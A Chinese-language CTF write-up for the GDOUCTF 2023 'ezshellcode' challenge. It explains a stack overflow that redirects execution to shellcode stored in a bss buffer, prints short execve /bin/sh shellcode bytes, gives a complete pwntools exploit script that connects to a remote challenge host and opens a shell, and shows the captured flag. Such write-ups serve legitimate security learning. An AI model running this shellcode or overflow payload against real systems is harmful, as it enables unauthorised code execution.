收获

  • 写入 shellcode 的时候,一定要注意可写入的空间的大小,有时生成的 shellcode 的长度会超出可写入空间

(2023年4月16日)【GDOUCTF 2023】Shellcode


思路

在 Ubuntu 下分析文件,并给予执行权限运行:

2023GDOUCTF-ezshellcode1.png

2023GDOUCTF-ezshellcode2.png

用 64 位 IDA 打开,定位到主函数:

2023GDOUCTF-ezshellcode3.png

这里的 name 是写入到 bss 段上的,buf 写在栈上:

2023GDOUCTF-ezshellcode4.png

但是 buf 的栈只有 0x0A 的大小,可写入 0x40 的长度,所以存在栈溢出

于是思路就比较明确了:

  1. 通过 namebss 段上写入 shellcode
  2. 通过 buf 溢出,将跳转地址改为 shellcode 的地址,执行 shellcode

虽然比赛时我的思路是对的,但是这个题有一点不一样
因为 name 可以写入的大小只有 0x25,所以对 shellcode 的大小有一定的要求
使用 pwntools 生成的默认 shellcode 是不行的

验证一下,例如使用 pwntools 生成默认 shellcode

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

shellcode = asm(shellcraft.sh())  # 构造shellcode

print(shellcode)  # b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

print(hex(len(shellcode)))  # 0x30

可以看到 pwntools 生成的默认 shellcode 长度为 0x30 长于可写入的长度 0x25

# 在网上找到的两个比较短一点的 shellcode
# 这样的 shellcode 长度只有 0x1e

shellcode = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'

shellcode = b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'

于是用短的 shellcode 编写脚本即可


脚本

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
content = 0

shellcode_addr = 0x06010A0  # 查看IDA得到bss段上name的写入地址


def main():
    if content == 1:
        io = process("./ezshellcode")
    else:
        io = remote("node2.anna.nssctf.cn", 28073)

    shellcode = b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'  # pwntools生成的默认shellcode超长,换一个短的

    io.recvuntil("Please.\n")
    io.sendline(shellcode)

    payload = b'a' * (0x0A - 0x00 + 0x08) + p64(shellcode_addr)

    io.recvuntil("Let's start!\n")
    io.sendline(payload)

    io.interactive()


main()

结果

NSSCTF{612a3a24-b348-47fe-b86c-30d997ca26a5}

2023GDOUCTF-ezshellcode5.png